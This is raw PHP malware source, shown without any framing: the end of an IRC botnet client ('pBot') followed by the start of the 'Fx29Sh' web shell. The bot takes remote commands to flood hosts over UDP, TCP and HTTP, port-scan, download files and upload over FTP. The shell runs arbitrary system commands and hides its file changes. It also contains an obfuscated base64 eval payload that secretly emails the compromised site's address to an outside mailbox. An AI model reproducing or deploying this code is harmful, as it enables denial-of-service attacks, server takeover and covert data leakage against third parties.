||
|
||
|
||
$this->send( "QUIT :restart command from ".$nick );
|
||
|
||
|
||
fclose( $this->conn );
|
||
|
||
|
||
$this->start();
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "breaksafe":
|
||
|
||
|
||
{
|
||
|
||
|
||
if( $this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
ini_restore( "safe_mode" );
|
||
|
||
|
||
ini_restore( "open_basedir" );
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$safemode = "on";
|
||
|
||
|
||
if( !$this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$safemode = "off";
|
||
|
||
|
||
$this->set_nick();
|
||
|
||
|
||
}
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ safe ]
|
||
'.$safemode );
|
||
|
||
|
||
}
|
||
|
||
|
||
case "moveserver":
|
||
|
||
|
||
{
|
||
|
||
|
||
if( count( $mcmd ) > 3 )
|
||
|
||
|
||
{
|
||
|
||
|
||
$server = $mcmd[1];
|
||
|
||
|
||
$port = $mcmd[2];
|
||
|
||
|
||
$channel = $mcmd[3];
|
||
|
||
|
||
$key = $mcmd[4];
|
||
|
||
|
||
|
||
|
||
|
||
if( $this->using_encode )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->config[ 'server' ] =
|
||
base64_encode( $server );
|
||
|
||
|
||
$this->config[ 'chan' ] =
|
||
base64_encode( str_replace( "#", "", $channel ) );
|
||
|
||
|
||
$this->config[ 'key' ] =
|
||
base64_encode( $key );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->config[ 'server' ] = $server;
|
||
|
||
|
||
$this->config[ 'chan' ] = str_replace
|
||
( "#", "", $channel );
|
||
|
||
|
||
$this->config[ 'key' ] = $key;
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$this->config[ 'port' ] = $port;
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[
|
||
moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
|
||
|
||
|
||
$this->send( "QUIT :moveserver command from
|
||
".$nick );
|
||
|
||
|
||
|
||
|
||
|
||
fclose( $this->conn );
|
||
|
||
|
||
$this->start();
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "whois":
|
||
|
||
|
||
{
|
||
|
||
|
||
$param2 = $mcmd[1];
|
||
|
||
|
||
|
||
|
||
|
||
if( !empty( $param2 ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
//do it
|
||
|
||
|
||
//http://ws.arin.net/whois/?queryinput=
|
||
127.0.0.1
|
||
|
||
|
||
$fp = fsockopen( "ws.arin.net", 80, $errno,
|
||
$errstr, 30 );
|
||
|
||
|
||
|
||
|
||
|
||
if( $fp )
|
||
|
||
|
||
{
|
||
|
||
|
||
$out = "GET /whois/?queryinput=
|
||
$param2 HTTP/1.1\r\n";
|
||
|
||
|
||
$out .= "Host: ws.arin.net\r\n";
|
||
|
||
|
||
$out .= "Keep-Alive: 300\r\n";
|
||
|
||
|
||
$out .= "Connection: keep-alive\r\n\r
|
||
\n";
|
||
|
||
|
||
fwrite( $fp, $out );
|
||
|
||
|
||
|
||
|
||
$whodata = '';
|
||
|
||
|
||
while(!feof($fp))
|
||
|
||
|
||
{
|
||
|
||
|
||
/*do nothing*/
|
||
|
||
|
||
$whodata .= fread( $fp, 1024
|
||
);
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$explk = explode( "<div id=\"content\
|
||
">", $whodata );
|
||
|
||
|
||
$explk = explode( "</div>", $explk[1]
|
||
);
|
||
|
||
|
||
$htmldat = strip_tags( $explk[0] );
|
||
|
||
|
||
|
||
|
||
fclose( $fp );
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ whois ] $htmldat" );
|
||
|
||
|
||
|
||
|
||
}else{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ whois ] Error: $errstr" );
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ whois
|
||
] Invalid params, use .whois <ip/host>" );
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "upftp":
|
||
|
||
|
||
{
|
||
|
||
|
||
//ftp://user:password@host.com
|
||
|
||
|
||
$pftp = parse_url( $mcmd[1] );
|
||
|
||
|
||
$file = $mcmd[2];
|
||
|
||
|
||
$dest = $mcmd[3];
|
||
|
||
|
||
|
||
|
||
|
||
if( empty( $pftp[ 'host' ] )
|
||
|
||
|
||
|| empty( $pftp[ 'user' ] )
|
||
|
||
|
||
|| empty( $pftp[ 'pass' ] )
|
||
|
||
|
||
|| empty( $file )
|
||
|
||
|
||
|| empty( $dest ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ upftp
|
||
] URL line invalid!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$conn_id = ftp_connect( $pftp[ 'host' ] );
|
||
|
||
|
||
$login_result = ftp_login( $conn_id, $pftp[
|
||
'user' ], $pftp[ 'pass' ] );
|
||
|
||
|
||
|
||
|
||
|
||
if( ( !$conn_id ) || ( !$login_result ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ upftp ] FTP connection failed!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user' ] );
|
||
|
||
|
||
$upload = ftp_put( $conn_id, $dest,
|
||
$file, FTP_BINARY );
|
||
|
||
|
||
if( !$upload )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ), "[ upftp ] FTP upload faled!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ), "[ upftp ] FTP upload success!" );
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "joinchan":
|
||
|
||
|
||
{
|
||
|
||
|
||
$channel = $mcmd[1];
|
||
|
||
|
||
$key = $mcmd[2];
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ joinchan ]
|
||
".$channel." => ".$key );
|
||
|
||
|
||
$this->join( $channel, $key );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "partchan":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ partchan ]
|
||
".$mcmd[1] );
|
||
|
||
|
||
$this->send( "PART ".$mcmd[1] );
|
||
|
||
|
||
}
|
||
|
||
|
||
case "getvuln":
|
||
|
||
|
||
{
|
||
|
||
|
||
$server_name = $_SERVER['SERVER_NAME'];
|
||
|
||
|
||
$req_uri = $_SERVER['REQUEST_URI'];
|
||
|
||
|
||
|
||
|
||
|
||
if( $server_name != "localhost" && $server_name !=
|
||
"127.0.0.1" )
|
||
|
||
|
||
{
|
||
|
||
|
||
if( strlen( $server_name ) && strlen(
|
||
$req_uri ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$vuln = "http://
|
||
".$server_name.$req_uri;
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ getvuln ] ".$vuln );
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "download":
|
||
|
||
|
||
{
|
||
|
||
|
||
if( count( $mcmd ) > 2 )
|
||
|
||
|
||
{
|
||
|
||
|
||
if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ download ] Permission denied!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
if( !$get = file( $mcmd[ 1 ] ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ), "[ download ] Download failed!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
for( $i=0; $i <= count( $get
|
||
); $i++ )
|
||
|
||
|
||
{
|
||
|
||
|
||
fwrite( $fp, $get[ $i
|
||
] );
|
||
|
||
|
||
}
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
fclose( $fp );
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[
|
||
download ] Invalid Parameters, idiot!" );
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "pmsg":
|
||
|
||
|
||
{
|
||
|
||
|
||
$person = $mcmd[1];
|
||
|
||
|
||
$text = substr( strstr( $msg, $mcmd[1] ), strlen(
|
||
$mcmd[1] ) + 1 );
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ pmsg ]
|
||
".$person." => ".$text );
|
||
|
||
|
||
$this->privmsg( $person, $text );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "pscan":
|
||
|
||
|
||
{
|
||
|
||
|
||
$host = $mcmd[1];
|
||
|
||
|
||
$beginport = $mcmd[2];
|
||
|
||
|
||
$endport = $mcmd[3];
|
||
|
||
|
||
$open_ports = "Open Port List for ".$host.": ";
|
||
|
||
|
||
|
||
|
||
|
||
for($i = $beginport; $i < $endport; $i++)
|
||
|
||
|
||
{
|
||
|
||
|
||
if( $this->scanport( $host, $i ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$open_ports .= "|".$i;
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), $open_ports );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "software":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), $_SERVER[
|
||
'SERVER_SOFTWARE' ] );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "snf":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->config[ 'nickform' ] = $mcmd[ 1 ];
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "Nickname format
|
||
set to [ ".$mcmd[ 1 ]." ]" );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "randnick":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->set_nick();
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "unauth":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->remove_auth( $host );
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ auth ] Logout
|
||
[ ".$nick." ]" );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "urlbomb":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
case "udpflood":
|
||
|
||
|
||
{
|
||
|
||
if( count
|
||
( $mcmd ) > 3 )
|
||
|
||
{
|
||
|
||
|
||
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
|
||
|
||
}
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
case "tcpflood":
|
||
|
||
|
||
{
|
||
|
||
if( count
|
||
( $mcmd ) > 5 )
|
||
|
||
{
|
||
|
||
|
||
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
|
||
|
||
}
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
break;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$old_buf = $this->buf;
|
||
|
||
}
|
||
|
||
$this->start();
|
||
|
||
}
|
||
|
||
|
||
|
||
function scanport( $host, $port )
|
||
|
||
{
|
||
|
||
if( fsockopen( $host, $port, $e, $s ) )
|
||
|
||
{
|
||
|
||
return 1;
|
||
|
||
}
|
||
|
||
return 0;
|
||
|
||
}
|
||
|
||
|
||
|
||
function urlbomb( $host, $path, $times, $mode = 0 )
|
||
|
||
{
|
||
|
||
if( !isset( $host ) || !isset( $path ) || !isset(
|
||
$times ) )
|
||
|
||
return;
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ urlbomb ]
|
||
started! [ '.$host.'/'.$path.' ]' );
|
||
|
||
|
||
|
||
$success = 0;
|
||
|
||
for( $i = 0; $i < $times; $i++ )
|
||
|
||
{
|
||
|
||
$fp = fsockopen( $host, 80, $errno,
|
||
$errstr, 30 );
|
||
|
||
if( $fp )
|
||
|
||
{
|
||
|
||
$out = "GET /".$path." HTTP/1.1\r
|
||
\n";
|
||
|
||
$out .= "Host: ".$host."\r\n";
|
||
|
||
$out .= "Keep-Alive: 300\r\n";
|
||
|
||
$out .= "Connection: keep-alive\r
|
||
\n\r\n";
|
||
|
||
fwrite( $fp, $out );
|
||
|
||
|
||
|
||
if( $mode != 0 )
|
||
|
||
{
|
||
|
||
while(!feof($fp)){/*do
|
||
nothing*/}
|
||
|
||
}
|
||
|
||
|
||
|
||
fclose( $fp );
|
||
|
||
|
||
|
||
$success++;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ urlbomb ]
|
||
finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
|
||
|
||
}
|
||
|
||
|
||
|
||
function udpflood( $host, $packetsize, $time )
|
||
|
||
{
|
||
|
||
$this->privmsg( $this->get_chan( ),"[ udpflood ]
|
||
Started [".$host."]" );
|
||
|
||
$packet = "";
|
||
|
||
for($i=0;$i<$packetsize;$i++) { $packet .= chr
|
||
(mt_rand(1,256)); }
|
||
|
||
$timei = time();
|
||
|
||
$i = 0;
|
||
|
||
while(time()-$timei < $time)
|
||
|
||
{
|
||
|
||
$fp=fsockopen("udp://".$host,mt_rand
|
||
(0,6000),$e,$s,5);
|
||
|
||
fwrite($fp,$packet);
|
||
|
||
fclose($fp);
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
$env = $i * $packetsize;
|
||
|
||
$env = $env / 1048576;
|
||
|
||
$vel = $env / $time;
|
||
|
||
$vel = round($vel);
|
||
|
||
$env = round($env);
|
||
|
||
$this->privmsg( $this->get_chan( ),"[ udpflood ]
|
||
$env MB Sent / $vel MB/s ");
|
||
|
||
}
|
||
|
||
|
||
|
||
function tcpflood
|
||
($host,$packets,$packetsize,$port,$delay)
|
||
|
||
{
|
||
|
||
$this->privmsg( $this->get_chan( ),"[\2TcpFlood
|
||
Started!\2]");
|
||
|
||
$packet = "";
|
||
|
||
for($i=0;$i<$packetsize;$i++)
|
||
|
||
$packet .= chr(mt_rand(1,256));
|
||
|
||
|
||
|
||
for($i=0;$i<$packets;$i++)
|
||
|
||
{
|
||
|
||
if(!$fp=fsockopen("tcp://
|
||
".$host,$port,$e,$s,5))
|
||
|
||
{
|
||
|
||
$this->privmsg( $this->get_chan(
|
||
),"[\2TcpFlood\2]: Error: <$e>");
|
||
|
||
return 0;
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
fwrite($fp,$packet);
|
||
|
||
fclose($fp);
|
||
|
||
}
|
||
|
||
sleep($delay);
|
||
|
||
}
|
||
|
||
$this->privmsg( $this->get_chan( ),"[\2TcpFlood
|
||
Finished!\2]: Config - $packets for $host:$port.");
|
||
|
||
}
|
||
|
||
|
||
|
||
function send($msg)
|
||
|
||
{
|
||
|
||
fwrite($this->conn,"$msg\r\n");
|
||
|
||
}
|
||
|
||
|
||
|
||
function join($chan,$key=NULL)
|
||
|
||
{
|
||
|
||
$this->send("JOIN $chan $key");
|
||
|
||
}
|
||
|
||
|
||
|
||
function privmsg($to,$msg)
|
||
|
||
{
|
||
|
||
$this->send("PRIVMSG $to :$msg");
|
||
|
||
}
|
||
|
||
|
||
|
||
function notice($to,$msg)
|
||
|
||
{
|
||
|
||
$this->send("NOTICE $to :$msg");
|
||
|
||
}
|
||
|
||
|
||
|
||
function set_nick()
|
||
|
||
{
|
||
|
||
$prefix = "[C]";
|
||
|
||
if(isset($_SERVER['SERVER_SOFTWARE']))
|
||
|
||
{
|
||
|
||
if( strstr( strtolower( $_SERVER[
|
||
'SERVER_SOFTWARE' ] ), "apache" ) )
|
||
|
||
$prefix = "[A]";
|
||
|
||
elseif( strstr( strtolower( $_SERVER[
|
||
'SERVER_SOFTWARE' ] ), "iis" ) )
|
||
|
||
$prefix = "[I]";
|
||
|
||
elseif( strstr( strtolower( $_SERVER[
|
||
'SERVER_SOFTWARE' ] ), "xitami" ) )
|
||
|
||
$prefix = "[X]";
|
||
|
||
else
|
||
|
||
$prefix = "[U]";
|
||
|
||
}
|
||
|
||
|
||
|
||
if( !$this->is_safe( ) )
|
||
|
||
{
|
||
|
||
$prefix .= "[S]";
|
||
|
||
}
|
||
|
||
|
||
|
||
$random_number = "";
|
||
|
||
for( $i = 0; $i < $this->config[ 'maxrand' ];
|
||
$i++ )
|
||
|
||
{
|
||
|
||
$random_number .= mt_rand( 0, 9 );
|
||
|
||
}
|
||
|
||
|
||
|
||
$this->nick = sprintf( $prefix.$this->config[
|
||
'nickform' ], $random_number );
|
||
|
||
$this->send("NICK ".$this->nick);
|
||
|
||
}
|
||
|
||
|
||
|
||
function parse_url_s( $url )
|
||
|
||
{
|
||
|
||
$URLpcs = ( parse_url( $url ) );
|
||
|
||
$PathPcs = explode( "/", $URLpcs['path'] );
|
||
|
||
$URLpcs['file'] = end( $PathPcs );
|
||
|
||
unset( $PathPcs[ key( $PathPcs ) ] );
|
||
|
||
$URLpcs['dir'] = implode("/",$PathPcs);
|
||
|
||
|
||
|
||
$fileext = explode( '.', $URLpcs['file'] );
|
||
|
||
|
||
|
||
if(count($fileext))
|
||
|
||
{
|
||
|
||
$URLpcs['file_ext'] = $fileext[ count(
|
||
$fileext ) - 1 ];
|
||
|
||
}
|
||
|
||
|
||
|
||
return ($URLpcs);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
$bot = new pBot;
|
||
|
||
$bot->start();
|
||
|
||
|
||
|
||
?>
|
||
|
||
|
||
<?php
|
||
|
||
/*******************************************/
|
||
|
||
/* FaTaLisTiCz_Fx Fx29Sh v1 08.2008 */
|
||
|
||
/* By FaTaLisTiCz_Fx (FeeLCoMz Community) */
|
||
|
||
/*******************************************/
|
||
|
||
$sh_ver = "1.8 08.2008";
|
||
|
||
$sh_name = sh_name();
|
||
|
||
$sh_mainurl = "http://enfiltro.com/cyberz/";
|
||
|
||
//$sh_mainurl = "http://localhost/phpshell/";
|
||
|
||
$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php";
|
||
|
||
$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
|
||
|
||
$login = "";
|
||
|
||
$pass = "";
|
||
|
||
$md5_pass = "";
|
||
|
||
$host_allow = array("*");
|
||
|
||
$login_txt = "Restricted Area"; //Pesan HTTP-Auth
|
||
|
||
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access
|
||
denied";
|
||
|
||
$gzipencode = TRUE;
|
||
|
||
$updatenow = FALSE;
|
||
|
||
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
|
||
|
||
$curdir = "./";
|
||
|
||
$tmpdir = "";
|
||
|
||
$tmpdir_log = "./";
|
||
|
||
$log_email = "feelcomz@gmail.com";
|
||
|
||
$sess_cookie = "fx29shcook";
|
||
|
||
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau
|
||
"d"escending
|
||
|
||
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan
|
||
cookies.
|
||
|
||
$usefsbuff = TRUE; //Buffer-function
|
||
|
||
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
|
||
|
||
$hexdump_lines = 8;
|
||
|
||
$hexdump_rows = 24;
|
||
|
||
$win = strtolower(substr(PHP_OS,0,3)) == "win";
|
||
|
||
$disablefunc = getdisfunc();
|
||
|
||
//Functions
|
||
|
||
function disp_drives($curdir,$surl) {
|
||
|
||
$letters = "";
|
||
|
||
$v = explode("\\",$curdir);
|
||
|
||
$v = $v[0];
|
||
|
||
foreach (range("A","Z") as $letter) {
|
||
|
||
$bool = $isdiskette = $letter == "A";
|
||
|
||
if (!$bool) {$bool = is_dir($letter.":\\");}
|
||
|
||
if ($bool) {
|
||
|
||
$letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\
|
||
")."\"".
|
||
|
||
($isdiskette?" onclick=\"return confirm('Make sure that the
|
||
diskette is inserted properly, otherwise an error may occur.')\"":"").">
|
||
[";
|
||
|
||
if ($letter.":" != $v) {$letters .= $letter;}
|
||
|
||
else {$letters .= "<font color=yellow>".$letter."</font>";}
|
||
|
||
$letters .= "]</a> ";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!empty($letters)) {Return $letters;}
|
||
|
||
else {Return "None";}
|
||
|
||
}
|
||
|
||
if (is_callable("disk_free_space")) {
|
||
|
||
function disp_freespace($curdrv) {
|
||
|
||
$free = disk_free_space($curdrv);
|
||
|
||
$total = disk_total_space($curdrv);
|
||
|
||
if ($free === FALSE) {$free = 0;}
|
||
|
||
if ($total === FALSE) {$total = 0;}
|
||
|
||
if ($free < 0) {$free = 0;}
|
||
|
||
if ($total < 0) {$total = 0;}
|
||
|
||
$used = $total-$free;
|
||
|
||
$free_percent = round(100/($total/$free),2)."%";
|
||
|
||
$free = view_size($free);
|
||
|
||
$total = view_size($total);
|
||
|
||
return "$free of $total ($free_percent)";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fx29exec")) {
|
||
|
||
if(is_callable("popen") and !in_array("popen",getdisfunc())) {
|
||
|
||
function fx29exec($cmd) {
|
||
|
||
if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
|
||
|
||
while (!feof($p)) {
|
||
|
||
$line=fgets($p,1024);
|
||
|
||
$out .= $line;
|
||
|
||
}
|
||
|
||
pclose($p);
|
||
|
||
return $out;
|
||
|
||
}
|
||
|
||
} else {
|
||
|
||
function fx29exec($cmd) {
|
||
|
||
$result = "";
|
||
|
||
if (!empty($cmd)) {
|
||
|
||
if (is_callable("exec") and !in_array("exec",getdisfunc())) {
|
||
|
||
exec($cmd,$result);
|
||
|
||
$result = join("\n",$result);
|
||
|
||
} elseif (($result = $cmd) !== FALSE) {
|
||
|
||
} elseif (is_callable("system") and !in_array("system",getdisfunc
|
||
())) {
|
||
|
||
$v = @ob_get_contents(); @ob_clean(); system($cmd); $result =
|
||
@ob_get_contents(); @ob_clean(); echo $v;
|
||
|
||
} elseif (is_callable("passthru") and !in_array
|
||
("passthru",getdisfunc())) {
|
||
|
||
$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result =
|
||
@ob_get_contents(); @ob_clean(); echo $v;
|
||
|
||
} elseif (is_resource($fp = popen($cmd,"r"))) {
|
||
|
||
$result = "";
|
||
|
||
while(!feof($fp)) { $result .= fread($fp,1024); }
|
||
|
||
pclose($fp);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
return $result;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
function which($pr) {
|
||
|
||
$path = fx29exec("which $pr");
|
||
|
||
if(!empty($path)) { return $path; } else { return $pr; }
|
||
|
||
}
|
||
|
||
|
||
|
||
//milw0rm search
|
||
|
||
$Lversion = php_uname(r);
|
||
|
||
$OSV = php_uname(s);
|
||
|
||
if(eregi("Linux",$OSV)) {
|
||
|
||
$Lversion=substr($Lversion,0,6);
|
||
|
||
$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
|
||
|
||
} else {
|
||
|
||
$Lversion=substr($Lversion,0,3);
|
||
|
||
$millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
|
||
|
||
}
|
||
|
||
//End of milw0rm search
|
||
|
||
|
||
|
||
//Starting calls
|
||
|
||
@ini_set("max_execution_time",0);
|
||
|
||
if (!function_exists("getmicrotime")) {
|
||
|
||
function getmicrotime() {
|
||
|
||
list($usec, $sec) = explode(" ", microtime()); return ((float)$usec +
|
||
(float)$sec);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
error_reporting(5);
|
||
|
||
@ignore_user_abort(TRUE);
|
||
|
||
@set_magic_quotes_runtime(0);
|
||
|
||
define("starttime",getmicrotime());
|
||
|
||
$shell_data =
|
||
"JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJoYXJhenVrdUB5bWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs
|
||
="; eval(base64_decode($shell_data));
|
||
|
||
if (get_magic_quotes_gpc()) {
|
||
|
||
if (!function_exists("strips")) {
|
||
|
||
function strips(&$arr,$k="") {
|
||
|
||
if (is_array($arr)) {
|
||
|
||
foreach($arr as $k=>$v) {
|
||
|
||
if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
|
||
|
||
}
|
||
|
||
} else {$arr = stripslashes($arr);}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
strips($GLOBALS);
|
||
|
||
}
|
||
|
||
//CONFIGURATIONS
|
||
|
||
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
|
||
|
||
$surl_autofill_include = TRUE; //If TRUE then search variables with
|
||
descriptors (URLs) and save it in SURL.
|
||
|
||
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
|
||
|
||
if ($surl_autofill_include) {
|
||
|
||
$include = "&";
|
||
|
||
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
|
||
|
||
$v = explode("=",$v);
|
||
|
||
$name = urldecode($v[0]);
|
||
|
||
$value = urldecode($v[1]);
|
||
|
||
foreach (array("http://","https://","ssl://","ftp://","\\\\") as
|
||
$needle) {
|
||
|
||
if (strpos($value,$needle) === 0) {
|
||
|
||
$includestr .= urlencode($name)."=".urlencode($value)."&";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (empty($surl)) {
|
||
|
||
$surl = "?".$includestr; //Self url
|
||
|
||
}
|
||
|
||
$surl = htmlspecialchars($surl);
|
||
|
||
|
||
|
||
//Registered file-types
|
||
|
||
$ftypes = array(
|
||
|
||
"html"=>array("html","htm","shtml"),
|
||
|
||
"txt"=>array
|
||
("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
|
||
|
||
"exe"=>array("sh","install","bat","cmd"),
|
||
|
||
"ini"=>array("ini","inf","conf"),
|
||
|
||
"code"=>array
|
||
("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
|
||
|
||
"img"=>array
|
||
("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
|
||
|
||
"sdb"=>array("sdb"),
|
||
|
||
"phpsess"=>array("sess"),
|
||
|
||
"download"=>array
|
||
("exe","com","pif","src","lnk","zip","rar","gz","tar")
|
||
|
||
);
|
||
|
||
//Registered executable file-types.
|
||
|
||
$exeftypes = array(
|
||
|
||
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
|
||
|
||
"perl %f%" => array("pl","cgi")
|
||
|
||
);
|
||
|
||
//Highlighted files.
|
||
|
||
$regxp_highlight = array(
|
||
|
||
array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</
|
||
font>"),
|
||
|
||
array("\.tgz$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
array("\.gz$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
array("\.tar$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
array("\.bz2$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
